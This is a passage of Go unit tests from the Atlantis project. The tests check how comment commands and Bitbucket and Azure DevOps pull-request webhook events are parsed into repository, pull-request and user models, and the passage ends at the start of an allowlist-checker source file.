(events.AutoplanCommand{}).IsAutoplan()) } func TestCommentCommand_CommandName(t *testing.T) { Equals(t, command.Plan, (events.CommentCommand{ Name: command.Plan, }).CommandName()) Equals(t, command.Apply, (events.CommentCommand{ Name: command.Apply, }).CommandName()) } func TestCommentCommand_IsVerbose(t *testing.T) { Equals(t, false, (events.CommentCommand{ Verbose: false, }).IsVerbose()) Equals(t, true, (events.CommentCommand{ Verbose: true, }).IsVerbose()) } func TestCommentCommand_IsAutoplan(t *testing.T) { Equals(t, false, (events.CommentCommand{}).IsAutoplan()) } func TestCommentCommand_String(t *testing.T) { exp := `command="plan", verbose=true, dir="mydir", workspace="myworkspace", project="myproject", policyset="", auto-merge-disabled=false, auto-merge-method=, clear-policy-approval=false, flags="flag1,flag2"` Equals(t, exp, (events.CommentCommand{ RepoRelDir: "mydir", Flags: []string{"flag1", "flag2"}, Name: command.Plan, Verbose: true, Workspace: "myworkspace", ProjectName: "myproject", }).String()) } func TestParseBitbucketCloudCommentEvent_EmptyString(t *testing.T) { _, _, _, _, _, err := parser.ParseBitbucketCloudPullCommentEvent([]byte("")) ErrEquals(t, "parsing json: unexpected end of JSON input", err) } func TestParseBitbucketCloudCommentEvent_EmptyObject(t *testing.T) { _, _, _, _, _, err := parser.ParseBitbucketCloudPullCommentEvent([]byte("{}")) ErrContains(t, "Key: 'CommentEvent.CommonEventData.Actor' Error:Field validation for 'Actor' failed on the 'required' tag\nKey: 'CommentEvent.CommonEventData.Repository' Error:Field validation for 'Repository' failed on the 'required' tag\nKey: 'CommentEvent.CommonEventData.PullRequest' Error:Field validation for 'PullRequest' failed on the 'required' tag\nKey: 'CommentEvent.Comment' Error:Field validation for 'Comment' failed on the 'required' tag", err) } func TestParseBitbucketCloudCommentEvent_CommitHashMissing(t *testing.T) { path := filepath.Join("testdata", "bitbucket-cloud-comment-event.json") bytes, err := os.ReadFile(path) Ok(t, err) emptyCommitHash := strings.ReplaceAll(string(bytes), ` "hash": "e0624da46d3a",`, "") _, _, _, _, _, err = parser.ParseBitbucketCloudPullCommentEvent([]byte(emptyCommitHash)) ErrContains(t, "Key: 'CommentEvent.CommonEventData.PullRequest.Source.Commit.Hash' Error:Field validation for 'Hash' failed on the 'required' tag", err) } func TestParseBitbucketCloudCommentEvent_ValidEvent(t *testing.T) { path := filepath.Join("testdata", "bitbucket-cloud-comment-event.json") bytes, err := os.ReadFile(path) Ok(t, err) pull, baseRepo, headRepo, user, comment, err := parser.ParseBitbucketCloudPullCommentEvent(bytes) Ok(t, err) expBaseRepo := models.Repo{ FullName: "lkysow/atlantis-example", Owner: "lkysow", Name: "atlantis-example", CloneURL: "https://bitbucket-user:bitbucket-token@bitbucket.org/lkysow/atlantis-example.git", SanitizedCloneURL: "https://bitbucket-user:@bitbucket.org/lkysow/atlantis-example.git", VCSHost: models.VCSHost{ Hostname: "bitbucket.org", Type: models.BitbucketCloud, }, } Equals(t, expBaseRepo, baseRepo) Equals(t, models.PullRequest{ Num: 2, HeadCommit: "e0624da46d3a", URL: "https://bitbucket.org/lkysow/atlantis-example/pull-requests/2", HeadBranch: "lkysow/maintf-edited-online-with-bitbucket-1532029690581", BaseBranch: "main", Author: "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", State: models.ClosedPullState, BaseRepo: expBaseRepo, }, pull) Equals(t, models.Repo{ FullName: "lkysow-fork/atlantis-example", Owner: "lkysow-fork", Name: "atlantis-example", CloneURL: "https://bitbucket-user:bitbucket-token@bitbucket.org/lkysow-fork/atlantis-example.git", SanitizedCloneURL: "https://bitbucket-user:@bitbucket.org/lkysow-fork/atlantis-example.git", VCSHost: models.VCSHost{ Hostname: "bitbucket.org", Type: models.BitbucketCloud, }, }, headRepo) Equals(t, models.User{ Username: "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", }, user) Equals(t, "my comment", comment) } func TestParseBitbucketCloudCommentEvent_MultipleStates(t *testing.T) { path := filepath.Join("testdata", "bitbucket-cloud-comment-event.json") bytes, err := os.ReadFile(path) if err != nil { Ok(t, err) } cases := []struct { pullState string exp models.PullRequestState }{ { "OPEN", models.OpenPullState, }, { "MERGED", models.ClosedPullState, }, { "SUPERSEDED", models.ClosedPullState, }, { "DECLINED", models.ClosedPullState, }, } for _, c := range cases { t.Run(c.pullState, func(t *testing.T) { withState := strings.ReplaceAll(string(bytes), `"state": "MERGED"`, fmt.Sprintf(`"state": "%s"`, c.pullState)) pull, _, _, _, _, err := parser.ParseBitbucketCloudPullCommentEvent([]byte(withState)) Ok(t, err) Equals(t, c.exp, pull.State) }) } } func TestParseBitbucketCloudPullEvent_ValidEvent(t *testing.T) { path := filepath.Join("testdata", "bitbucket-cloud-pull-event-created.json") bytes, err := os.ReadFile(path) if err != nil { Ok(t, err) } pull, baseRepo, headRepo, user, err := parser.ParseBitbucketCloudPullEvent(bytes) Ok(t, err) expBaseRepo := models.Repo{ FullName: "lkysow/atlantis-example", Owner: "lkysow", Name: "atlantis-example", CloneURL: "https://bitbucket-user:bitbucket-token@bitbucket.org/lkysow/atlantis-example.git", SanitizedCloneURL: "https://bitbucket-user:@bitbucket.org/lkysow/atlantis-example.git", VCSHost: models.VCSHost{ Hostname: "bitbucket.org", Type: models.BitbucketCloud, }, } Equals(t, expBaseRepo, baseRepo) Equals(t, models.PullRequest{ Num: 16, HeadCommit: "1e69a602caef", URL: "https://bitbucket.org/lkysow/atlantis-example/pull-requests/16", HeadBranch: "Luke/maintf-edited-online-with-bitbucket-1560433073473", BaseBranch: "main", Author: "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", State: models.OpenPullState, BaseRepo: expBaseRepo, }, pull) Equals(t, models.Repo{ FullName: "lkysow-fork/atlantis-example", Owner: "lkysow-fork", Name: "atlantis-example", CloneURL: "https://bitbucket-user:bitbucket-token@bitbucket.org/lkysow-fork/atlantis-example.git", SanitizedCloneURL: "https://bitbucket-user:@bitbucket.org/lkysow-fork/atlantis-example.git", VCSHost: models.VCSHost{ Hostname: "bitbucket.org", Type: models.BitbucketCloud, }, }, headRepo) Equals(t, models.User{ Username: "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", }, user) } func TestParseBitbucketCloudPullEvent_States(t *testing.T) { for _, c := range []struct { JSON string ExpState models.PullRequestState }{ { JSON: "bitbucket-cloud-pull-event-created.json", ExpState: models.OpenPullState, }, { JSON: "bitbucket-cloud-pull-event-fulfilled.json", ExpState: models.ClosedPullState, }, { JSON: "bitbucket-cloud-pull-event-rejected.json", ExpState: models.ClosedPullState, }, } { path := filepath.Join("testdata", c.JSON) bytes, err := os.ReadFile(path) if err != nil { Ok(t, err) } pull, _, _, _, err := parser.ParseBitbucketCloudPullEvent(bytes) Ok(t, err) Equals(t, c.ExpState, pull.State) } } func TestBitBucketNonCodeChangesAreIgnored(t *testing.T) { // lets say a user opens a PR act := parser.GetBitbucketCloudPullEventType("pullrequest:created", "fakeSha", "https://github.com/fakeorg/fakerepo/pull/1") Equals(t, models.OpenedPullEvent, act) // Another update with same SHA should be ignored act = parser.GetBitbucketCloudPullEventType("pullrequest:updated", "fakeSha", "https://github.com/fakeorg/fakerepo/pull/1") Equals(t, models.OtherPullEvent, act) // Only if SHA changes do we act act = parser.GetBitbucketCloudPullEventType("pullrequest:updated", "fakeSha2", "https://github.com/fakeorg/fakerepo/pull/1") Equals(t, models.UpdatedPullEvent, act) // If sha changes in separate PR, act = parser.GetBitbucketCloudPullEventType("pullrequest:updated", "otherPRSha", "https://github.com/fakeorg/fakerepo/pull/2") Equals(t, models.UpdatedPullEvent, act) // We will still ignore same shas in first PR act = parser.GetBitbucketCloudPullEventType("pullrequest:updated", "fakeSha2", "https://github.com/fakeorg/fakerepo/pull/1") Equals(t, models.OtherPullEvent, act) } func TestBitbucketShaCacheExpires(t *testing.T) { // lets say a user opens a PR act := parser.GetBitbucketCloudPullEventType("pullrequest:created", "fakeSha", "https://github.com/fakeorg/fakerepo/pull/1") Equals(t, models.OpenedPullEvent, act) // Another update with same SHA should be ignored act = parser.GetBitbucketCloudPullEventType("pullrequest:updated", "fakeSha", "https://github.com/fakeorg/fakerepo/pull/1") Equals(t, models.OtherPullEvent, act) // But after 300 times, the cache should expire // this is so we don't have ever increasing memory usage for i := range 302 { parser.GetBitbucketCloudPullEventType("pullrequest:updated", "fakeSha", fmt.Sprintf("https://github.com/fakeorg/fakerepo/pull/%d", i)) } // and now SHA will seen as a change again act = parser.GetBitbucketCloudPullEventType("pullrequest:updated", "fakeSha", "https://github.com/fakeorg/fakerepo/pull/1") Equals(t, models.UpdatedPullEvent, act) } func TestGetBitbucketCloudEventType(t *testing.T) { cases := []struct { header string exp models.PullRequestEventType }{ { header: "pullrequest:created", exp: models.OpenedPullEvent, }, { header: "pullrequest:updated", exp: models.UpdatedPullEvent, }, { header: "pullrequest:fulfilled", exp: models.ClosedPullEvent, }, { header: "pullrequest:rejected", exp: models.ClosedPullEvent, }, { header: "random", exp: models.OtherPullEvent, }, } for _, c := range cases { t.Run(c.header, func(t *testing.T) { // we pass in the header as the SHA so the SHA changes each time // the code will ignore duplicate SHAS to avoid extra TF plans act := parser.GetBitbucketCloudPullEventType(c.header, c.header, "https://github.com/fakeorg/fakerepo/pull/1") Equals(t, c.exp, act) }) } } func TestParseBitbucketServerCommentEvent_EmptyString(t *testing.T) { _, _, _, _, _, err := parser.ParseBitbucketServerPullCommentEvent([]byte("")) ErrEquals(t, "parsing json: unexpected end of JSON input", err) } func TestParseBitbucketServerCommentEvent_EmptyObject(t *testing.T) { _, _, _, _, _, err := parser.ParseBitbucketServerPullCommentEvent([]byte("{}")) ErrContains(t, `API response "{}" was missing fields: Key: 'CommentEvent.CommonEventData.Actor' Error:Field validation for 'Actor' failed on the 'required' tag`, err) } func TestParseBitbucketServerCommentEvent_CommitHashMissing(t *testing.T) { path := filepath.Join("testdata", "bitbucket-server-comment-event.json") bytes, err := os.ReadFile(path) if err != nil { Ok(t, err) } emptyCommitHash := strings.ReplaceAll(string(bytes), `"latestCommit": "bfb1af1ba9c2a2fa84cd61af67e6e1b60a22e060",`, "") _, _, _, _, _, err = parser.ParseBitbucketServerPullCommentEvent([]byte(emptyCommitHash)) ErrContains(t, "Key: 'CommentEvent.CommonEventData.PullRequest.FromRef.LatestCommit' Error:Field validation for 'LatestCommit' failed on the 'required' tag", err) } func TestParseBitbucketServerCommentEvent_ValidEvent(t *testing.T) { path := filepath.Join("testdata", "bitbucket-server-comment-event.json") bytes, err := os.ReadFile(path) if err != nil { Ok(t, err) } pull, baseRepo, headRepo, user, comment, err := parser.ParseBitbucketServerPullCommentEvent(bytes) Ok(t, err) expBaseRepo := models.Repo{ FullName: "atlantis/atlantis-example", Owner: "atlantis", Name: "atlantis-example", CloneURL: "http://bitbucket-user:bitbucket-token@mycorp.com:7490/scm/at/atlantis-example.git", SanitizedCloneURL: "http://bitbucket-user:@mycorp.com:7490/scm/at/atlantis-example.git", VCSHost: models.VCSHost{ Hostname: "mycorp.com", Type: models.BitbucketServer, }, } Equals(t, expBaseRepo, baseRepo) Equals(t, models.PullRequest{ Num: 1, HeadCommit: "bfb1af1ba9c2a2fa84cd61af67e6e1b60a22e060", URL: "http://mycorp.com:7490/projects/AT/repos/atlantis-example/pull-requests/1", HeadBranch: "branch", BaseBranch: "main", Author: "lkysow", State: models.OpenPullState, BaseRepo: expBaseRepo, }, pull) Equals(t, models.Repo{ FullName: "atlantis-fork/atlantis-example", Owner: "atlantis-fork", Name: "atlantis-example", CloneURL: "http://bitbucket-user:bitbucket-token@mycorp.com:7490/scm/fk/atlantis-example.git", SanitizedCloneURL: "http://bitbucket-user:@mycorp.com:7490/scm/fk/atlantis-example.git", VCSHost: models.VCSHost{ Hostname: "mycorp.com", Type: models.BitbucketServer, }, }, headRepo) Equals(t, models.User{ Username: "lkysow", }, user) Equals(t, "atlantis plan", comment) } func TestParseBitbucketServerCommentEvent_MultipleStates(t *testing.T) { path := filepath.Join("testdata", "bitbucket-server-comment-event.json") bytes, err := os.ReadFile(path) if err != nil { Ok(t, err) } cases := []struct { pullState string exp models.PullRequestState }{ { "OPEN", models.OpenPullState, }, { "MERGED", models.ClosedPullState, }, { "DECLINED", models.ClosedPullState, }, } for _, c := range cases { t.Run(c.pullState, func(t *testing.T) { withState := strings.ReplaceAll(string(bytes), `"state": "OPEN"`, fmt.Sprintf(`"state": "%s"`, c.pullState)) pull, _, _, _, _, err := parser.ParseBitbucketServerPullCommentEvent([]byte(withState)) Ok(t, err) Equals(t, c.exp, pull.State) }) } } func TestParseBitbucketServerPullEvent_ValidEvent(t *testing.T) { path := filepath.Join("testdata", "bitbucket-server-pull-event-merged.json") bytes, err := os.ReadFile(path) if err != nil { Ok(t, err) } pull, baseRepo, headRepo, user, err := parser.ParseBitbucketServerPullEvent(bytes) Ok(t, err) expBaseRepo := models.Repo{ FullName: "atlantis/atlantis-example", Owner: "atlantis", Name: "atlantis-example", CloneURL: "http://bitbucket-user:bitbucket-token@mycorp.com:7490/scm/at/atlantis-example.git", SanitizedCloneURL: "http://bitbucket-user:@mycorp.com:7490/scm/at/atlantis-example.git", VCSHost: models.VCSHost{ Hostname: "mycorp.com", Type: models.BitbucketServer, }, } Equals(t, expBaseRepo, baseRepo) Equals(t, models.PullRequest{ Num: 2, HeadCommit: "86a574157f5a2dadaf595b9f06c70fdfdd039912", URL: "http://mycorp.com:7490/projects/AT/repos/atlantis-example/pull-requests/2", HeadBranch: "branch", BaseBranch: "main", Author: "lkysow", State: models.ClosedPullState, BaseRepo: expBaseRepo, }, pull) Equals(t, models.Repo{ FullName: "atlantis-fork/atlantis-example", Owner: "atlantis-fork", Name: "atlantis-example", CloneURL: "http://bitbucket-user:bitbucket-token@mycorp.com:7490/scm/fk/atlantis-example.git", SanitizedCloneURL: "http://bitbucket-user:@mycorp.com:7490/scm/fk/atlantis-example.git", VCSHost: models.VCSHost{ Hostname: "mycorp.com", Type: models.BitbucketServer, }, }, headRepo) Equals(t, models.User{ Username: "lkysow", }, user) } func TestGetBitbucketServerEventType(t *testing.T) { cases := []struct { header string exp models.PullRequestEventType }{ { header: "pr:opened", exp: models.OpenedPullEvent, }, { header: "pr:merged", exp: models.ClosedPullEvent, }, { header: "pr:declined", exp: models.ClosedPullEvent, }, { header: "pr:deleted", exp: models.ClosedPullEvent, }, { header: "random", exp: models.OtherPullEvent, }, } for _, c := range cases { t.Run(c.header, func(t *testing.T) { act := parser.GetBitbucketServerPullEventType(c.header) Equals(t, c.exp, act) }) } } func TestParseAzureDevopsRepo(t *testing.T) { // this should be successful repo := azuredevopstestdata.Repo repo.ParentRepository = nil r, err := parser.ParseAzureDevopsRepo(&repo) Ok(t, err) Equals(t, models.Repo{ Owner: "owner/project", FullName: "owner/project/repo", CloneURL: "https://azuredevops-user:azuredevops-token@dev.azure.com/owner/project/_git/repo", SanitizedCloneURL: "https://azuredevops-user:@dev.azure.com/owner/project/_git/repo", Name: "repo", VCSHost: models.VCSHost{ Hostname: "dev.azure.com", Type: models.AzureDevops, }, }, r) // this should be successful repo = azuredevopstestdata.Repo repo.WebURL = nil r, err = parser.ParseAzureDevopsRepo(&repo) Ok(t, err) Equals(t, models.Repo{ Owner: "owner/project", FullName: "owner/project/repo", CloneURL: "https://azuredevops-user:azuredevops-token@dev.azure.com/owner/project/_git/repo", SanitizedCloneURL: "https://azuredevops-user:@dev.azure.com/owner/project/_git/repo", Name: "repo", VCSHost: models.VCSHost{ Hostname: "dev.azure.com", Type: models.AzureDevops, }, }, r) // this should be successful repo = azuredevopstestdata.Repo repo.WebURL = azuredevops.String("https://owner.visualstudio.com/project/_git/repo") r, err = parser.ParseAzureDevopsRepo(&repo) Ok(t, err) Equals(t, models.Repo{ Owner: "owner/project", FullName: "owner/project/repo", CloneURL: "https://azuredevops-user:azuredevops-token@owner.visualstudio.com/project/_git/repo", SanitizedCloneURL: "https://azuredevops-user:@owner.visualstudio.com/project/_git/repo", Name: "repo", VCSHost: models.VCSHost{ Hostname: "owner.visualstudio.com", Type: models.AzureDevops, }, }, r) // this should be successful repo = azuredevopstestdata.Repo repo.WebURL = azuredevops.String("https://dev.azure.com/owner/project/_git/repo") r, err = parser.ParseAzureDevopsRepo(&repo) Ok(t, err) Equals(t, models.Repo{ Owner: "owner/project", FullName: "owner/project/repo", CloneURL: "https://azuredevops-user:azuredevops-token@dev.azure.com/owner/project/_git/repo", SanitizedCloneURL: "https://azuredevops-user:@dev.azure.com/owner/project/_git/repo", Name: "repo", VCSHost: models.VCSHost{ Hostname: "dev.azure.com", Type: models.AzureDevops, }, }, r) } func TestParseAzureDevopsRepo_LowercasesOwner(t *testing.T) { parser := events.EventParser{ AzureDevopsUser: "azuredevops-user", AzureDevopsToken: "azuredevops-token", } tests := []struct { url string expected string }{ {"https://dev.azure.com/MyCompany/project/_git/repo", "mycompany"}, {"https://MYCOMPANY.visualstudio.com/project/_git/repo", "mycompany"}, {"https://AnotherOrg.visualstudio.com/project/_git/repo", "anotherorg"}, } for _, tt := range tests { repo := azuredevops.GitRepository{} repo.WebURL = azuredevops.String(tt.url) repo.ParentRepository = nil repo.Project = &azuredevops.TeamProjectReference{Name: azuredevops.String("project")} repo.Name = azuredevops.String("repo") r, err := parser.ParseAzureDevopsRepo(&repo) Ok(t, err) // Only check the owner part parts := strings.Split(r.FullName, "/") owner := parts[0] Equals(t, tt.expected, owner) } } func TestParseAzureDevopsPullEvent(t *testing.T) { _, _, _, _, _, err := parser.ParseAzureDevopsPullEvent(azuredevopstestdata.PullEvent) Ok(t, err) testPull := deepcopy.Copy(azuredevopstestdata.Pull).(azuredevops.GitPullRequest) testPull.LastMergeSourceCommit.CommitID = nil _, _, _, err = parser.ParseAzureDevopsPull(&testPull) ErrEquals(t, "lastMergeSourceCommit.commitID is null", err) testPull = deepcopy.Copy(azuredevopstestdata.Pull).(azuredevops.GitPullRequest) testPull.URL = nil _, _, _, err = parser.ParseAzureDevopsPull(&testPull) ErrEquals(t, "url is null", err) testEvent := deepcopy.Copy(azuredevopstestdata.PullEvent).(azuredevops.Event) resource := deepcopy.Copy(testEvent.Resource).(*azuredevops.GitPullRequest) resource.CreatedBy = nil testEvent.Resource = resource _, _, _, _, _, err = parser.ParseAzureDevopsPullEvent(testEvent) ErrEquals(t, "CreatedBy is null", err) testEvent = deepcopy.Copy(azuredevopstestdata.PullEvent).(azuredevops.Event) resource = deepcopy.Copy(testEvent.Resource).(*azuredevops.GitPullRequest) resource.CreatedBy.UniqueName = azuredevops.String("") testEvent.Resource = resource _, _, _, _, _, err = parser.ParseAzureDevopsPullEvent(testEvent) ErrEquals(t, "CreatedBy.UniqueName is null", err) actPull, evType, actBaseRepo, actHeadRepo, actUser, err := parser.ParseAzureDevopsPullEvent(azuredevopstestdata.PullEvent) Ok(t, err) expBaseRepo := models.Repo{ Owner: "owner/project", FullName: "owner/project/repo", CloneURL: "https://azuredevops-user:azuredevops-token@dev.azure.com/owner/project/_git/repo", SanitizedCloneURL: "https://azuredevops-user:@dev.azure.com/owner/project/_git/repo", Name: "repo", VCSHost: models.VCSHost{ Hostname: "dev.azure.com", Type: models.AzureDevops, }, } Equals(t, expBaseRepo, actBaseRepo) Equals(t, expBaseRepo, actHeadRepo) Equals(t, models.PullRequest{ URL: azuredevopstestdata.Pull.GetURL(), Author: azuredevopstestdata.Pull.CreatedBy.GetUniqueName(), HeadBranch: "feature/sourceBranch", BaseBranch: "targetBranch", HeadCommit: azuredevopstestdata.Pull.LastMergeSourceCommit.GetCommitID(), Num: azuredevopstestdata.Pull.GetPullRequestID(), State: models.OpenPullState, BaseRepo: expBaseRepo, }, actPull) Equals(t, models.OpenedPullEvent, evType) Equals(t, models.User{Username: "user@example.com"}, actUser) } func TestParseAzureDevopsPullEvent_EventType(t *testing.T) { cases := []struct { action string exp models.PullRequestEventType }{ { action: "git.pullrequest.updated", exp: models.UpdatedPullEvent, }, { action: "git.pullrequest.created", exp: models.OpenedPullEvent, }, { action: "git.pullrequest.updated", exp: models.ClosedPullEvent, }, { action: "anything_else", exp: models.OtherPullEvent, }, } for _, c := range cases { t.Run(c.action, func(t *testing.T) { event := deepcopy.Copy(azuredevopstestdata.PullEvent).(azuredevops.Event) if c.exp == models.ClosedPullEvent { event = deepcopy.Copy(azuredevopstestdata.PullClosedEvent).(azuredevops.Event) } event.EventType = c.action _, actType, _, _, _, err := parser.ParseAzureDevopsPullEvent(event) Ok(t, err) Equals(t, c.exp, actType) }) } } func TestParseAzureDevopsPull(t *testing.T) { testPull := deepcopy.Copy(azuredevopstestdata.Pull).(azuredevops.GitPullRequest) testPull.LastMergeSourceCommit.CommitID = nil _, _, _, err := parser.ParseAzureDevopsPull(&testPull) ErrEquals(t, "lastMergeSourceCommit.commitID is null", err) testPull = deepcopy.Copy(azuredevopstestdata.Pull).(azuredevops.GitPullRequest) testPull.URL = nil _, _, _, err = parser.ParseAzureDevopsPull(&testPull) ErrEquals(t, "url is null", err) testPull = deepcopy.Copy(azuredevopstestdata.Pull).(azuredevops.GitPullRequest) testPull.SourceRefName = nil _, _, _, err = parser.ParseAzureDevopsPull(&testPull) ErrEquals(t, "sourceRefName (branch name) is null", err) testPull = deepcopy.Copy(azuredevopstestdata.Pull).(azuredevops.GitPullRequest) testPull.TargetRefName = nil _, _, _, err = parser.ParseAzureDevopsPull(&testPull) ErrEquals(t, "targetRefName (branch name) is null", err) testPull = deepcopy.Copy(azuredevopstestdata.Pull).(azuredevops.GitPullRequest) testPull.CreatedBy = nil _, _, _, err = parser.ParseAzureDevopsPull(&testPull) ErrEquals(t, "CreatedBy is null", err) testPull = deepcopy.Copy(azuredevopstestdata.Pull).(azuredevops.GitPullRequest) testPull.CreatedBy.UniqueName = nil _, _, _, err = parser.ParseAzureDevopsPull(&testPull) ErrEquals(t, "CreatedBy.UniqueName is null", err) testPull = deepcopy.Copy(azuredevopstestdata.Pull).(azuredevops.GitPullRequest) testPull.PullRequestID = nil _, _, _, err = parser.ParseAzureDevopsPull(&testPull) ErrEquals(t, "pullRequestId is null", err) actPull, actBaseRepo, actHeadRepo, err := parser.ParseAzureDevopsPull(&azuredevopstestdata.Pull) Ok(t, err) expBaseRepo := models.Repo{ Owner: "owner/project", FullName: "owner/project/repo", CloneURL: "https://azuredevops-user:azuredevops-token@dev.azure.com/owner/project/_git/repo", SanitizedCloneURL: "https://azuredevops-user:@dev.azure.com/owner/project/_git/repo", Name: "repo", VCSHost: models.VCSHost{ Hostname: "dev.azure.com", Type: models.AzureDevops, }, } Equals(t, models.PullRequest{ URL: azuredevopstestdata.Pull.GetURL(), Author: azuredevopstestdata.Pull.CreatedBy.GetUniqueName(), HeadBranch: "feature/sourceBranch", BaseBranch: "targetBranch", HeadCommit: azuredevopstestdata.Pull.LastMergeSourceCommit.GetCommitID(), Num: azuredevopstestdata.Pull.GetPullRequestID(), State: models.OpenPullState, BaseRepo: expBaseRepo, }, actPull) Equals(t, expBaseRepo, actBaseRepo) Equals(t, expBaseRepo, actHeadRepo) } func TestParseAzureDevopsSelfHostedRepo(t *testing.T) { // this should be successful repo := azuredevopstestdata.SelfRepo repo.ParentRepository = nil r, err := parser.ParseAzureDevopsRepo(&repo) Ok(t, err) Equals(t, models.Repo{ Owner: "owner/project", FullName: "owner/project/repo", CloneURL: "https://azuredevops-user:azuredevops-token@devops.abc.com/owner/project/_git/repo", SanitizedCloneURL: "https://azuredevops-user:@devops.abc.com/owner/project/_git/repo", Name: "repo", VCSHost: models.VCSHost{ Hostname: "devops.abc.com", Type: models.AzureDevops, }, }, r) } func TestParseAzureDevopsSelfHostedPullEvent(t *testing.T) { _, _, _, _, _, err := parser.ParseAzureDevopsPullEvent(azuredevopstestdata.SelfPullEvent) Ok(t, err) testPull := deepcopy.Copy(azuredevopstestdata.SelfPull).(azuredevops.GitPullRequest) testPull.LastMergeSourceCommit.CommitID = nil _, _, _, err = parser.ParseAzureDevopsPull(&testPull) ErrEquals(t, "lastMergeSourceCommit.commitID is null", err) testPull = deepcopy.Copy(azuredevopstestdata.SelfPull).(azuredevops.GitPullRequest) testPull.URL = nil _, _, _, err = parser.ParseAzureDevopsPull(&testPull) ErrEquals(t, "url is null", err) testEvent := deepcopy.Copy(azuredevopstestdata.SelfPullEvent).(azuredevops.Event) resource := deepcopy.Copy(testEvent.Resource).(*azuredevops.GitPullRequest) resource.CreatedBy = nil testEvent.Resource = resource _, _, _, _, _, err = parser.ParseAzureDevopsPullEvent(testEvent) ErrEquals(t, "CreatedBy is null", err) testEvent = deepcopy.Copy(azuredevopstestdata.SelfPullEvent).(azuredevops.Event) resource = deepcopy.Copy(testEvent.Resource).(*azuredevops.GitPullRequest) resource.CreatedBy.UniqueName = azuredevops.String("") testEvent.Resource = resource _, _, _, _, _, err = parser.ParseAzureDevopsPullEvent(testEvent) ErrEquals(t, "CreatedBy.UniqueName is null", err) actPull, evType, actBaseRepo, actHeadRepo, actUser, err := parser.ParseAzureDevopsPullEvent(azuredevopstestdata.SelfPullEvent) Ok(t, err) expBaseRepo := models.Repo{ Owner: "owner/project", FullName: "owner/project/repo", CloneURL: "https://azuredevops-user:azuredevops-token@devops.abc.com/owner/project/_git/repo", SanitizedCloneURL: "https://azuredevops-user:@devops.abc.com/owner/project/_git/repo", Name: "repo", VCSHost: models.VCSHost{ Hostname: "devops.abc.com", Type: models.AzureDevops, }, } Equals(t, expBaseRepo, actBaseRepo) Equals(t, expBaseRepo, actHeadRepo) Equals(t, models.PullRequest{ URL: azuredevopstestdata.SelfPull.GetURL(), Author: azuredevopstestdata.SelfPull.CreatedBy.GetUniqueName(), HeadBranch: "feature/sourceBranch", BaseBranch: "targetBranch", HeadCommit: azuredevopstestdata.SelfPull.LastMergeSourceCommit.GetCommitID(), Num: azuredevopstestdata.SelfPull.GetPullRequestID(), State: models.OpenPullState, BaseRepo: expBaseRepo, }, actPull) Equals(t, models.OpenedPullEvent, evType) Equals(t, models.User{Username: "user@example.com"}, actUser) } func TestParseAzureDevopsSelfHostedPullEvent_EventType(t *testing.T) { cases := []struct { action string exp models.PullRequestEventType }{ { action: "git.pullrequest.updated", exp: models.UpdatedPullEvent, }, { action: "git.pullrequest.created", exp: models.OpenedPullEvent, }, { action: "git.pullrequest.updated", exp: models.ClosedPullEvent, }, { action: "anything_else", exp: models.OtherPullEvent, }, } for _, c := range cases { t.Run(c.action, func(t *testing.T) { event := deepcopy.Copy(azuredevopstestdata.SelfPullEvent).(azuredevops.Event) if c.exp == models.ClosedPullEvent { event = deepcopy.Copy(azuredevopstestdata.SelfPullClosedEvent).(azuredevops.Event) } event.EventType = c.action _, actType, _, _, _, err := parser.ParseAzureDevopsPullEvent(event) Ok(t, err) Equals(t, c.exp, actType) }) } } func TestParseAzureSelfHostedDevopsPull(t *testing.T) { testPull := deepcopy.Copy(azuredevopstestdata.SelfPull).(azuredevops.GitPullRequest) testPull.LastMergeSourceCommit.CommitID = nil _, _, _, err := parser.ParseAzureDevopsPull(&testPull) ErrEquals(t, "lastMergeSourceCommit.commitID is null", err) testPull = deepcopy.Copy(azuredevopstestdata.SelfPull).(azuredevops.GitPullRequest) testPull.URL = nil _, _, _, err = parser.ParseAzureDevopsPull(&testPull) ErrEquals(t, "url is null", err) testPull = deepcopy.Copy(azuredevopstestdata.SelfPull).(azuredevops.GitPullRequest) testPull.SourceRefName = nil _, _, _, err = parser.ParseAzureDevopsPull(&testPull) ErrEquals(t, "sourceRefName (branch name) is null", err) testPull = deepcopy.Copy(azuredevopstestdata.SelfPull).(azuredevops.GitPullRequest) testPull.TargetRefName = nil _, _, _, err = parser.ParseAzureDevopsPull(&testPull) ErrEquals(t, "targetRefName (branch name) is null", err) testPull = deepcopy.Copy(azuredevopstestdata.SelfPull).(azuredevops.GitPullRequest) testPull.CreatedBy = nil _, _, _, err = parser.ParseAzureDevopsPull(&testPull) ErrEquals(t, "CreatedBy is null", err) testPull = deepcopy.Copy(azuredevopstestdata.SelfPull).(azuredevops.GitPullRequest) testPull.CreatedBy.UniqueName = nil _, _, _, err = parser.ParseAzureDevopsPull(&testPull) ErrEquals(t, "CreatedBy.UniqueName is null", err) testPull = deepcopy.Copy(azuredevopstestdata.SelfPull).(azuredevops.GitPullRequest) testPull.PullRequestID = nil _, _, _, err = parser.ParseAzureDevopsPull(&testPull) ErrEquals(t, "pullRequestId is null", err) actPull, actBaseRepo, actHeadRepo, err := parser.ParseAzureDevopsPull(&azuredevopstestdata.SelfPull) Ok(t, err) expBaseRepo := models.Repo{ Owner: "owner/project", FullName: "owner/project/repo", CloneURL: "https://azuredevops-user:azuredevops-token@devops.abc.com/owner/project/_git/repo", SanitizedCloneURL: "https://azuredevops-user:@devops.abc.com/owner/project/_git/repo", Name: "repo", VCSHost: models.VCSHost{ Hostname: "devops.abc.com", Type: models.AzureDevops, }, } Equals(t, models.PullRequest{ URL: azuredevopstestdata.SelfPull.GetURL(), Author: azuredevopstestdata.SelfPull.CreatedBy.GetUniqueName(), HeadBranch: "feature/sourceBranch", BaseBranch: "targetBranch", HeadCommit: azuredevopstestdata.SelfPull.LastMergeSourceCommit.GetCommitID(), Num: azuredevopstestdata.SelfPull.GetPullRequestID(), State: models.OpenPullState, BaseRepo: expBaseRepo, }, actPull) Equals(t, expBaseRepo, actBaseRepo) Equals(t, expBaseRepo, actHeadRepo) } ================================================ FILE: server/events/external_team_allowlist_checker.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "fmt" "strings" "github.com/runatlantis/atlantis/server/core/runtime" "github.com/runatlantis/atlantis/server/events/models" ) type ExternalTeamAllowlistChecker struct { Command string ExtraArgs []string ExternalTeamAllowlistRunner runtime.ExternalTeamAllowlistRunner } func (checker *ExternalTeamAllowlistChecker) HasRules() 